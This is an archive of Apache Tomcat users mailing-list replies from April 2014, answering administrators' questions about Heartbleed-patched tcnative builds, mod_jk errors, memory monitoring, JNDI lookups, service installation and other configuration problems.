http://tomcat.apache.org/download-native.cgi
-> "You may download them from HERE" (a link)

Though the ASF server contains the MD% and ASC files. (Those are not mirrored).

> But
> which one? I assume I don't need OCSP-do I?

Yes, that is correct.

> But then in the download there
> are 3 different versions, one at the top level, one in i64 and one in x64.
> Can I assume that the top level one is 32 bit and the x64 one is 64 bit?

Yes, that is correct.

> Of course, it would be useful if there were simply a new release of Tomcat,
> or a readily available guide  for current users on how to protect ourselves
> from this issue. Knowing whether an updated Heartbleed-free version of
> Windows Tomcat was coming in the next few days would resolve this issue as
> well.

A work is going, but that will take some time. There are still bugs
that need fixing before cutting a release. The release vote itself
will take 3 days (72h).

A guide is on the wiki,
http://wiki.apache.org/tomcat/Security/Heartbleed

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Please help diagnosing a random production Tomcat 7.0.53 Internal Server Error!

[Konstantin Kolinko]

2014-04-15 22:52 GMT+04:00 Ian Long :
> Hi All,
>
> I need some help from all the tomcat experts out there!  I am using tomcat 
> behind apache httpd using mod_jk (1.2.39).  About 50-100 times per day (out 
> of many requests), I’m getting an internal server error from Tomcat (error 
> 500), without any exceptions in my code, nor in Tomcat logs.  I am only 
> seeing the error in my New Relic application monitoring tool, and I can see 
> them in the mod_jk logs if I turn on debug.

Can you update to 1.2.40 released today? It fixes several issues.

Is error 500 mentioned in Access log at Tomcat side?

If an error happens at some early state of processing (in Connector,
in CoyoteAdapter), then there may be nothing in the
catalina/localhost/web application logs, unless you turn on debug
logging at Tomcat side.

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: How to monitor performance of tomcat

[Konstantin Kolinko]

2014-04-15 14:49 GMT+04:00 Randhir Singh :
> There is 1 finding. We normally monitor the tomcat port using jconsole as-
>
> jconsole 10.101.17.79:8891
>
> As per my initial query, our application hangs and we need to restart
> JBoss & Tomcat. I have observed that during this time the port 8891 does
> not respond as the command,
>
> jconsole 10.101.17.79:8891
>
> does not give any console for monitoring.
>
> Requesting an update so that the root cause analysis of this issue can be
> found out.
>

An often cause for such behaviour is an out-of-memory condition.

If you encountered OutOfMemoryError: PermGen error,  then JVM will not
be able to load any new classes,  with obvious fatal consequences.

Did you monitor the PermGen memory pool size, or just memory as a whole?


If an OOME causes a thread death, it is usually not logged to logging
frameworks, but a message in written to System.err (by
ThreadGroup,uncaughtException(..)).

2014-04-15 17:40 GMT+04:00 Shanti Suresh :
>
> Have you considered taking a thread dump of the JVM processes, I forget?
>

+1

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Multi-service version of tomcat7w

[Konstantin Kolinko]

2014-04-14 23:21 GMT+04:00 David kerber :
> On 4/14/2014 3:10 PM, Konstantin Kolinko wrote:
>>
>> 2014-04-14 22:59 GMT+04:00 David kerber :
>>>
>>> Is there a version (or equivalent) of Tomcat7w.exe, which can handle
>>> multiple services in one instance, instead of needing to start a dozen
>>> different instances of it to monitor and manage my 12 TC services?
>>>
>>> If not, I may look into doing one...
>>>
>>
>> Monitoring can be done via JMX,  and maybe in other different ways.
>> There is no need to run "Tomcat7w.exe //MS//" for that.
>>
>> What are you using it for? What parameters are you monitoring?
>
>
> The same thing that tomcat7w.exe does:  setting startup parameters,

You do not need to keep it running for that. Start it just when it is needed.

> and starting and stopping the service.

That can be done via Services page in Windows, and via command line.

There is no monitoring here.

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Strange context naming issue

[Konstantin Kolinko]

2014-04-14 21:41 GMT+04:00 David kerber :
> On 4/14/2014 1:33 PM, Konstantin Kolinko wrote:
>>
>> 2014-04-14 21:18 GMT+04:00 David kerber :
>>>
>>> Running TC 7.0.42 on Windows Server 2008 R2 as a windows service, JRE
>>> 1.6.0_45 32-bit.
>>>
>>> What I'm seeing is that my context path is not being initialized with the
>>> name I expect:
>>>
>>> My .war file is named eddSrv.war (lower-case first letter), but the
>>> context
>>> is being initialized as EddSrv (upper-case first letter), and therefore
>>> my
>>> client app is not able to connect to it.  I have 10 other identical apps
>>> on
>>> this server, each listening on a different port, and they are all working
>>> fine.
>>>
>>> I am configured with catalina_home different from catalina_base, and do
>>> not
>>> have a context.xml anywhere that would override the .war file name as the
>>> context name.  Any idea of where else to look?
>>>
>>>
>>> Excerpt from catalina.log, showing the .war file being deployed:
>>>
>>> INFO: Starting Servlet Engine: Apache Tomcat/7.0.42
>>> Apr 14, 2014 1:00:35 PM org.apache.catalina.startup.HostConfig deployWAR
>>> INFO: Deploying web application archive
>>> D:\RtData\EddSrv\webapps\eddSrv.war
>>> Apr 14, 2014 1:00:37 PM org.apache.coyote.AbstractProtocol start
>>> INFO: Starting ProtocolHandler ["http-apr-55015"]
>>> Apr 14, 2014 1:00:37 PM org.apache.catalina.startup.Catalina start
>>> INFO: Server startup in 1909 ms
>>>
>>>
>>> And from the stdout log, showing the context path:
>>>
>>> 2014-04-14 13:00:32 Commons Daemon procrun stdout initialized
>>> 2014-04-14 13:00:37: Context initialized:  'EddSrv'
>>
>>
>> What prints the above message to System.out?
>
>
> I don't know; I do know that it's not my app...
>

It might be some unrelated issue. E.g. your catalina.base is named
'EddSrv'. Maybe you are using the same name elsewhere, e.g. to
identify different servers.

You real issue is that you clients cannot connect.

So, what is in the logs? Did your webapp start successfully? Did
Tomcat start successfully and listens on the ports?

You can verify that webapp started (and its name) by looking at a
listing in the Manager web application,  or via JMX (jconsole.exe).

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Multi-service version of tomcat7w

[Konstantin Kolinko]

2014-04-14 22:59 GMT+04:00 David kerber :
> Is there a version (or equivalent) of Tomcat7w.exe, which can handle
> multiple services in one instance, instead of needing to start a dozen
> different instances of it to monitor and manage my 12 TC services?
>
> If not, I may look into doing one...
>

Monitoring can be done via JMX,  and maybe in other different ways.
There is no need to run "Tomcat7w.exe //MS//" for that.

What are you using it for? What parameters are you monitoring?

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Strange context naming issue

[Konstantin Kolinko]

2014-04-14 21:18 GMT+04:00 David kerber :
> Running TC 7.0.42 on Windows Server 2008 R2 as a windows service, JRE
> 1.6.0_45 32-bit.
>
> What I'm seeing is that my context path is not being initialized with the
> name I expect:
>
> My .war file is named eddSrv.war (lower-case first letter), but the context
> is being initialized as EddSrv (upper-case first letter), and therefore my
> client app is not able to connect to it.  I have 10 other identical apps on
> this server, each listening on a different port, and they are all working
> fine.
>
> I am configured with catalina_home different from catalina_base, and do not
> have a context.xml anywhere that would override the .war file name as the
> context name.  Any idea of where else to look?
>
>
> Excerpt from catalina.log, showing the .war file being deployed:
>
> INFO: Starting Servlet Engine: Apache Tomcat/7.0.42
> Apr 14, 2014 1:00:35 PM org.apache.catalina.startup.HostConfig deployWAR
> INFO: Deploying web application archive D:\RtData\EddSrv\webapps\eddSrv.war
> Apr 14, 2014 1:00:37 PM org.apache.coyote.AbstractProtocol start
> INFO: Starting ProtocolHandler ["http-apr-55015"]
> Apr 14, 2014 1:00:37 PM org.apache.catalina.startup.Catalina start
> INFO: Server startup in 1909 ms
>
>
> And from the stdout log, showing the context path:
>
> 2014-04-14 13:00:32 Commons Daemon procrun stdout initialized
> 2014-04-14 13:00:37: Context initialized:  'EddSrv'

What prints the above message to System.out?

>
> I have tried setting the logging level to "debug" in tomcat7w, but that
> doesn't show anything about where the context name is coming from that I can
> find.

You are talking about an issue in a web application.  What is a point
of changing log level of procrun service wrapper (Apache Commons
Daemon) ?

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: JNDI initialization since Tomcat 8.0.1

[Konstantin Kolinko]

1)
>   at 
> sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
>   at 
> sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
>   at java.lang.reflect.Method.invoke(Method.java:483)
>   at 
> org.apache.tomcat.util.modeler.BaseModelMBean.invoke(BaseModelMBean.java:300)
>   at 
> com.sun.jmx.interceptor.DefaultMBeanServerInterceptor.invoke(DefaultMBeanServerInterceptor.java:819)
>   at 
> com.sun.jmx.mbeanserver.JmxMBeanServer.invoke(JmxMBeanServer.java:801)
>   at 
> javax.management.remote.rmi.RMIConnectionImpl.doOperation(RMIConnectionImpl.java:1466)
>   at 
> javax.management.remote.rmi.RMIConnectionImpl.access$300(RMIConnectionImpl.java:76)
>   at 
> javax.management.remote.rmi.RMIConnectionImpl$PrivilegedOperation.run(RMIConnectionImpl.java:1307)
>   at 
> javax.management.remote.rmi.RMIConnectionImpl.doPrivilegedOperation(RMIConnectionImpl.java:1399)
>   at 
> javax.management.remote.rmi.RMIConnectionImpl.invoke(RMIConnectionImpl.java:828)
>   at 
> sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
>   at 
> sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
>   at 
> sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
>   at java.lang.reflect.Method.invoke(Method.java:483)
>   at 
> sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:323)
>   at sun.rmi.transport.Transport$1.run(Transport.java:178)
>   at sun.rmi.transport.Transport$1.run(Transport.java:175)
>   at 
> java.security.AccessController.doPrivileged(AccessController.java:-1)
>   at sun.rmi.transport.Transport.serviceCall(Transport.java:174)
>   at 
> sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:557)
>   at 
> sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:812)
>   at 
> sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:671)
>   at 
> java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
>   at 
> java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
>   at java.lang.Thread.run(Thread.java:744)
>
>
>
>
>> Maybe you can try debugging, with a breakpoint in org.apache.naming.* 
>> classes?
>
> I don't know where I should look. I started looking at the failing lookup() 
> statement.
> org.apache.naming.java.javaURLContextFactory#getObjectInstance() calls 
> ContextBindings.isThreadBound() and
> ContextBindings.isClassLoaderBound() - both return false.
> In tomcat 8.0.0-RC10 ContextBindings.isThreadBound() returns true and the 
> name resolution succeeds.
>
> Maybe this directs to the cause of the problem.
>

I do not know, what version of hibernate you are using, but if I look
at 4.3.x sources [1], the following method mentioned in your
stacktrace changes TCCL and thus breaks JNDI:

org.hibernate.boot.registry.
classloading.internal.ClassLoaderServiceImpl.withTccl(ClassLoaderServiceImpl.java:397)

[1] 
https://github.com/hibernate/hibernate-orm/blob/4.3/hibernate-core/src/main/java/org/hibernate/boot/registry/classloading/internal/ClassLoaderServiceImpl.java#l384


I suggest you to ask at hibernate forums.

By the way, there exists an Apache project implementing the JPA specification,
http://openjpa.apache.org/

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: JNDI initialization since Tomcat 8.0.1

[Konstantin Kolinko]

2014-04-13 15:10 GMT+04:00 Christian :
> Hi,
>
> I'm experimenting with java 8, spring data JPA, hibernate and tomcat 8.
> Spring Data JPA initializes hibernate on deployment.
>
> On tomcat 8.0.0-RC10 everything is fine. Using Tomcat 8.0.1 or newer, an
> exception is thrown when hibernate tries to fetch the datasource from JNDI:
>
> ()
> ...
> at
> org.apache.catalina.core.StandardContext.listenerStart(StandardContext.java:4737)
> at
> org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5159)
> - locked <0x1aea> (a org.apache.catalina.core.StandardContext)
> at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150)
> at
> org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:726)
> at org.apache.catalina.core.ContainerBase.addChild(ContainerBase.java:702)
> at org.apache.catalina.core.StandardHost.addChild(StandardHost.java:697)
> at org.apache.catalina.startup.HostConfig.manageApp(HostConfig.java:1646)
> ...
>
>
> When I disable hibernate and use the following snippet in a controller,
> the DataSource is returned correctly:
> Context initCtx = new InitialContext();
> DataSource dataSource = (DataSource)
> initCtx.lookup("java:comp/env/jdbc/myDB");
>
> I have configured the datasource in META-INF/context.xml:
> 
> 
>auth="Container"
>   type="javax.sql.DataSource"
>   driverClassName="com.mysql.jdbc.Driver"
>   url="jdbc:mysql://localhost:3306/test"/>
> 
>
> And referenced it in web.xml:
> 
> http://www.w3.org/2001/XMLSchema-instance";
>  xmlns="http://xmlns.jcp.org/xml/ns/javaee";
>  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
>  http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd";
>  version="3.1">
> 
> jdbc/myDB
> javax.sql.DataSource
> Container
> 
> 
>
> Of course the mysql driver is copied into $CATALINA_BASE/lib.
>
> Has the JNDI initialization changed between tomcat 8.0.0-RC10 and 8.0.1?
>

Is hibernate initialized via a  in web.xml,  or where?

"path" attribute cannot be used in META-INF/context.xml file.

The driver jar should be in one place, not both.

IIRC,
 a) classloading for drivers was changed at some point, to allow them
in WEB-INF/lib
 b) different versions of Tomcat 8 use different versions of Apache
Commons DBCP 2 pool

The visible part of JNDI depends on
Thread.currentThread().getContextClassLoader() (aka TCCL). Any reason
why TCCL may be wrong? (You aren't providing the full stacktrace)

Maybe you can try debugging, with a breakpoint in org.apache.naming.* classes?
http://wiki.apache.org/tomcat/FAQ/Developing#Debugging

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Tomcat 500 internal server error

[Konstantin Kolinko]

2014-04-11 21:47 GMT+04:00 Ian Long :
> This is a followup to my previous email, about Tomcat 500 errors.  For every 
> error, I see this in the mod_jk (1.2.39) debug logs:


By the way: there is a couple of known errors in 1.2.39 (see
changelog).  A vote on 1.2.40 release candidate is currently going on
on dev mailing list.

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: mod_jk and ~userdir issue

[Konstantin Kolinko]

2014-04-11 18:33 GMT+04:00 Doug Tucker :
> Greetings!  I'm hopeful someone can help me here.  I used to have this
> running under tomcat 5.5/apache2.2 but have installed a centos6 with the
> packaged tomcat6/apache2.2.  I installed the latest mod_jk connector.  All
> is working great except the whole reason I set it up in the first place.  I
> want users to be able to place .jsp's and servlets in their public_html
> directory and have it serve their pages.  As I mentioned I had this working
> previously under a different version and kept a backup of all those files
> for reference but I can't get it working on this new instance to save my
> life.
>
> I added this into my Host directive in the servers.xml file per the tomcat6
> docs
>
> 
>   ...
>directoryName="public_html"
> userClass="org.apache.catalina.startup.PasswdUserDatabase"/>
>   ...
> 
>
>
> https://tomcat.apache.org/tomcat-6.0-doc/config/host.html
>
> This made it work under my old setup but not anymore.
>
> My workers.properties looks like:
>
> worker.list=worker1
> worker.node1.type=ajp13
> worker.node1.port=8009
> worker.node1.host=localhost
> worker.node1.lbfactor=1
>
> My uriworkermap.properties looks like:
>
> /admin/*=worker1
> /manager/*=worker1
> /jsp-examples/*=worker1
> /servlets-examples/*=worker1
> /examples/*=worker1
> /*=worker1
> !/servlets-examples/*.jpeg=lb
> /jk-manager=jk-status
>
> My httpd-jk.conf:
>
> LoadModule jk_module modules/mod_jk.so
>  JkWorkersFile conf/workers.properties
> JkLogFile logs/mod_jk.log
> JkLogLevel info
> JkShmFile logs/mod_jk.shm
> JkWatchdogInterval 60
> JkMountFile conf/uriworkermap.properties
>


1. Check whether their pages are accessible when you connect to Tomcat
directly without HTTPD.
The server.xml looks OK.
I am not sure that your mod_jk configuration is OK.

2. There are no "jsp-examples" and "servlet-examples" in Tomcat 6.

3. Beware that in current mod_jk versions the mappings are local to a
HTTPD VirtualHost.

4. If you want Tomcat to be secure (and you do not trust your
students), you have to

1) run it with Java SecurityManager being enabled
2) use latest patched JVM (with no known issues about bypassing a
SecurityManager)
3) use an up-to-date Tomcat

http://wiki.apache.org/tomcat/FAQ/Linux_Unix#Q5
http://tomcat.apache.org/security-6.html
http://tomcat.apache.org/tomcat-7.0-doc/security-howto.html

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Maximum number of JSP ?

[Konstantin Kolinko]

2014-04-11 16:58 GMT+04:00 Sylvain Goulmy :
> Hi,
>
> I'm facing performance issue with my application which loads a very large
> number of different JSPs (ie 16 000). As the application loads the
> different JSP, the response time becomes longer and the CPU increases.
>
> I have tried many configurations by modifying the maxLoadedJsp,
> PermgenSize, jspIdleTimeout parameters, but without having positive results.

1. Personally I am pessimistic about 'maxLoadedJsps' option, because
even if you unload a JSP, the strings used in its code will still
remain in JVM constant strings pool.  Anyway, I expect the best
performance would be if you do not try unloading the JSPs.

2. Did you set development=false on JspServlet?
http://tomcat.apache.org/tomcat-7.0-doc/jasper-howto.html#Production_Configuration

Note: I would not recommend using 'genStringAsCharArray',

3. There are a number of ways to monitor your memory usage.

4. Does the number of requests remain the same and only the number of
JSPs increases? How much is "longer" in "the response time becomes
longer" ?

>
> I'd like to know if there are known limitations regarding the max number of
> JSP loaded in an application that could be used without facing performance
> issue ?
>
> Configuration : Tomcat 7.0.52 with Oracle Java 1.6.0.45 on Linux RHEL

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: 7.0.23 vs. 7.0.52 startup times

[Konstantin Kolinko]

2014-04-10 22:28 GMT+04:00 Shanti Suresh :
> Greetings,
>
> There appears to be a hold up in 7.0.52 at startup as compared to 7.0.23 -
> a matter of several seconds initializing each context.  In 7.0.52, the
> delay appears to happen at "findResources" when the
> "javax.servlet.ServletContainerInitializer" is identified.  Such a things
> does not happen in v7.0.23 .  My question is why is this service being
> looked for when I don't have such a service file in my context's META-INF
> directory?   A run of both in DEBUG mode shows the following, where
> findResourcses starts at "13:06:48" and goes until "13:06:51" in v7.0.52:
>
> (...)

FAQ:
http://wiki.apache.org/tomcat/HowTo/FasterStartUp

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: How can I tell which version of OpenSSL is being used with tomcat?

[Konstantin Kolinko]

2014-04-10 12:25 GMT+04:00 Christopher Schultz :
>
> (...)
>
> Andrew, if you haven't changed the Tomcat default configuration and
> you used the service installer, you likely have a vulnerable server
> depending upon exactly which version you installed, because the
> installer automatically installs tcnative, and the default protocol in
> server.xml (HTTP/1.1) auto-prefers the APR connector to the BIO connector.
>

The default configuration is NOT vulnerable to HeartBleed. as the
HTTPS protocol is not enabled by default.  You need to generate or buy
a server certificate and configure it to enable HTTPS.

If you have configured HTTPS, then you should know what connector you
are using, because the configuration attributes differ,  as explained
below.

> To check if you are using APR, just check your 
> configuration. If you're specifying attributes like
> SSLCertificateKeyFile then you are using OpenSSL (and still should
> track-down the version). If you see attributes like "keystoreFile",
> then you are using JSSE and you are not vulnerable to this particular
> issue being discussed this week.
>


Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Temporary mitigation of Heartbleed?

[Konstantin Kolinko]

2014-04-09 23:18 GMT+04:00 Jeffrey Janner :
>
> Much as I loathe downgrading, would it be possible/advisable to downgrade the 
> native libraries to 1.1.23 with Tomcat 7.0.50?

1. There is a minimum required version of TCNative for every Tomcat.
See constants in AprLifecycleListener source.
2. Old versions of OpenSSL have their own security issues.

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: How to monitor performance of tomcat

[Konstantin Kolinko]

2014-04-08 15:05 GMT+04:00 Randhir Singh :
> We have an application which has JBoss as the application server with
> Tomcat as the web server, our application has Oracle 11g as the database. I
> would give some further background to the issue we are facing, since the
> last 1 1/2 months, the application slows down. Sometimes it comes back to
> normal, specially on week-ends. But other times we restart JBoss & Tomcat
> to bring back the application to normal.
>
>
>
> We have been using jconsole to monitor tomcat like
>
>
>
> jconsole 10.101.17.79:8891
>
>
>
> which monitors our tomcat for a work order system. If the memory usage does
> not show spike and shows constant reading, the GC button is clicked to
> invoke the garbage collector.
>
>
>
> I checked out on the net and got some clue as below:
>
>
>
> 1)  Javamelody - It seems to be a 3rd party tool which is not
> recommended.
>
> 2)  There is a command mentioned to see the admin console,
> http:/// but it is not displaying the required page.
>
>
>
> Please give your inputs whether jconsole should be a help in the right
> direction or some other way to monitor the performance of Tomcat.
>

Have you tried
1) FAQ
2) archives of this mailing list?

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Unable to start tomcat as a service.

[Konstantin Kolinko]

2014-04-08 13:42 GMT+04:00 akshay jain :
> Hi,
>
> I downloaded *apache-tomcat-7.0.52-windows-x64.zip* from the apache
> website.
> I am running windows 7 64 bit operating system.
>
> I have setup the file setenv.bat file and apache starts without any problem
> when started using startup.bat script.
>
> To run apache as a windows service I did the following steps:
> 1. Extracted the zip to location C:\tmp
> 2. Opened command line in the said folder and ran command :
>  "tomcat7 //IS//"

That just installs procrun (the service wrapper executable), but DOES
NOT configure it.
Procrun with an empty configuration does not know what Java
application it launches and with what settings. (It does not know that
it belongs to Tomcat, etc.)

There is service.bat that both installs and configures it, but note
that you either need to run the command prompt in "as administrator"
mode, or use 7.0.53 or later due to
http://issues.apache.org/bugzilla/show_bug.cgi?id=56143


> 3. Then ran command :
>   "sc start tomcat7"
>
> Following was the output :
>
> C:\tmp\apache-tomcat-7.0.52\bin>tomcat7.exe //IS//
>
> C:\tmp\apache-tomcat-7.0.52\bin>sc start tomcat7
>
> (...)
>

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Bizarre getParameterMap() failure

[Konstantin Kolinko]

2014-04-07 21:28 GMT+04:00 Jess Holle :
> And looking at the data in Request *before* I invoke getParameter*() in our
> code, I see that parametersParsed is set to "true".
>
> I'm not sure if I should expect this to "true" at this point (entry to my
> first filter) for a GET request with a fairly stock Tomcat 7.0.50/53
> configuration.  It doesn't seem like it should be...
>
> Tinkering with the internal state of the Request object, to set
> parametersParsed to false and/or parameterMap to null in the debugger
> doesn't help getParameterMap() succeed, though...
>
> --
> Jess Holle
>
>
> On 4/7/2014 11:52 AM, Jess Holle wrote:
>>
>> P.S. The only way I currently know to reproduce this issue is with a full
>> install of our full commercial product plus optional modules -- and then to
>> load large, sensitive customer data into this product and execute a very
>> specific use case.
>>
>> How this could possibly be related to Spring or /any /specifics of this
>> use is a mystery to me.
>>
>> I understand, however, that the requirements to reproduce this issue throw
>> at least the initial troubleshooting and debugging squarely into my lap,
>> which is why I'm asking for pointers, not filing bugs.
>>
>> A little more version information (in case it is relevant):
>>
>>   * Sprint 3.2.2
>>   * JDK 7u51
>>
>> --
>> Jess Holle
>>
>> On 4/7/2014 10:21 AM, Jess Holle wrote:
>>>
>>> We're seeing a bizarre failure of getParameterMap() wherein this servlet
>>> API returns an empty map.
>>>
>>> I thought we'd loused this up somehow via our servlet request filters,
>>> but the debugger shows this result on the very first line of our very first
>>> filter -- with the request object being Tomcat's own.
>>>
>>> To make matters worse, this is a GET request with a /very /simple URL.
>>>
>>> The query string is very simple "?ids=41&jsonSupport=true". The value of
>>> "ids" varies, but it's numeric and the cases I'm looking at are 2 to 4
>>> digits in length.  The rest of the request URI is short and all ASCII, being
>>> of the form {webAppName}//yy.
>>>
>>> This is being reproduced with both 7.0.50 and 7.0.53 -- with mod_jk
>>> 1.2.37 and httpd 2.2.26.
>>>
>>> As with https://issues.apache.org/bugzilla/show_bug.cgi?id=55695, we are
>>> using Spring MVC -- and getting a similar error message. Given the point in
>>> request handling at which we're getting the erroneous result, I don't see
>>> how this is actually related to Spring MVC, but I also don't have any idea
>>> how one could reproduce the issue without Spring MVC or our (large
>>> proprietary) web application.
>>>
>>> Any suggestions for getting to the bottom of this issue would be greatly
>>> appreciated!
>>>

Several quick thoughts

1. What is the value of
request.getAttribute("org.apache.catalina.parameter_parse_failed")
after you obtain that parameters map?

See Tomcat's o.a.c.filters.FailedRequestFilter for an example.

It will be non-null if there was any trouble when parsing the parameters.


2. What is the value of HttpServletRequest.getQueryString() ?

Is it what you expect?

I think you may also configure AccessLogValve to print it and maybe
also to print the parameters.

3. Put a breakpoint into o.a.c.connector.Request#getParameterMap().
Does it work as expected?

If I understand it correctly, from a quick look the method is not
thread-safe. There should not be concurrent requests to it.

4. Try to set RECYCLE_FACADES system property to "true"? (See
sysprops page of configuration reference for the full name of the
property).

E.g. if request object is shared between threads, there will be problems.

5.
>>   * Sprint 3.2.2
There are several known (unrelated) issues,
http://www.gopivotal.com/security/


Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: AW: AW: tomcat-connectors-1.2.39-windows-x86_64-iis does not work

[Konstantin Kolinko]

2014-04-03 23:34 GMT+04:00 André Warnier :
> Alten, Jessica-Aileen wrote:
>>>
>>> -Ursprüngliche Nachricht-
>>> Von: André Warnier [mailto:a...@ice-sa.com]
>>> Gesendet: Donnerstag, 3. April 2014 15:36
>>> An: Tomcat Users List
>>> Betreff: Re: AW: tomcat-connectors-1.2.39-windows-x86_64-iis does not
>>> work
>>>
>>> Alten, Jessica-Aileen wrote:
>>>>>
>>>>> A bit guessing here :
>>>>>
>>>>> You have :
>>>>>  > worker.ajp13w.host=localhost
>>>>>
>>>>> and
>>>>>
>>>>>  > jk_open_socket::jk_connect.c (735): connect to 0.0.0.0:8009
>>>
>>> failed
>>>>>>
>>>>>> (errno=49)
>>>>>
>>>>> is "localhost" == 0.0.0.0  ?
>>>>>
>>>>>  From the point of view of mod_jk/isapi, should it not be
>>>
>>> "127.0.0.1" ?
>>>>
>>>> Your answer points to the right direction.
>>>> 0.0.0.0 means: any configured IPv4-Address on this computer, see
>>>>
>>>> http://serverfault.com/questions/78048/whats-the-difference-between-
>>>
>>> ip
>>>>
>>>> -addre
>>>> ss-0-0-0-0-and-127-0-0-1
>>>>
>>>> In principle this is ok at first. The Ajp13 Connector was configured
>>>> in server.xml to listen at any IPv4 address on port 8009 - which is
>>>> the default setting. But the connector can't find any suitable
>>>
>>> address.
>>>>
>>>> The problem is: The new Tomcat-Connector can't parse
>>>> "worker.ajp13w.host=localhost", instead localhost must be replaced
>>>> with "127.0.0.1", this works!
>>>>
>>>> In my eyes this is a big fat bug, because most documentation on
>>>> workers use "localhost". localhost is actually the default for the
>>>> "host" connection directive.
>>>>
>>>> The new worker directive "prefer_ipv6" doesn't change this behavior.
>>>>
>>> Hi.
>>>
>>> Can you please really check this ?
>>>
>>> Open a command window on that server, and do "ping localhost".
>>> It should tell you what it understands by "localhost".
>>> Copy and paste the result here :
>>
>>
>> ping localhost
>>
>> Ping wird ausgeführt für xyz.uv.local [127.0.0.1] mit 32 Bytes Daten:
>> Antwort von 127.0.0.1: Bytes=32 Zeit<1ms TTL=128
>> Antwort von 127.0.0.1: Bytes=32 Zeit<1ms TTL=128
>> Antwort von 127.0.0.1: Bytes=32 Zeit<1ms TTL=128
>> Antwort von 127.0.0.1: Bytes=32 Zeit<1ms TTL=128
>>
>> Ping-Statistik für 127.0.0.1:
>> Pakete: Gesendet = 4, Empfangen = 4, Verloren = 0
>> (0% Verlust),
>> Ca. Zeitangaben in Millisek.:
>> Minimum = 0ms, Maximum = 0ms, Mittelwert = 0ms
>>
>>
> That /is/ bizarre.  As far as I know, to resolve hostnames in its
> configuration, mod_jk/isapi is using the OS's resolver library, the same as
> the one "ping" should be using.
> On the other hand, you say that if you have
>
>>>>>  > worker.ajp13w.host=localhost
>
> it doesn't work (mod_jk cannot connect to tomcat), but when you change this
> to
>
>>>>>  > worker.ajp13w.host=127.0.0.1
>
> then it works fine.
>
> Ok, another check in a command window (and I assume that you open this
> command window *on the server itself* where mod_jk and Tomcat are running,
> right ?)
>
> test :
>
> 1) telnet localhost 8009
>
> 2) telnet 127.0.0.1 8009
>
> Any difference between these 2 cases ?
>
> If not, then indeed it looks like a mod_jk/isapi_redirect 1.2.39 problem.
>
> In any case, you cannot "connect to" 0.0.0.0, as this log line would suggest
> :
>
>
>>>>>  > jk_open_socket::jk_connect.c (735): connect to 0.0.0.0:8009
>>> failed
>
>
> Rainer ? Mladen ?
>

After some code review, I think there is a bug there.
I filed an issue:
https://issues.apache.org/bugzilla/show_bug.cgi?id=56352


Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: apt-get tomcat7 missing websocket jars

[Konstantin Kolinko]

2014-04-04 21:59 GMT+04:00 Sean Winterberger :
> We just updated to tomcat 7.0.52 using the JSR356 implementation for
> websockets.  This implementation is using the annotated class method of
> setting up the websocket server endpoint.
>
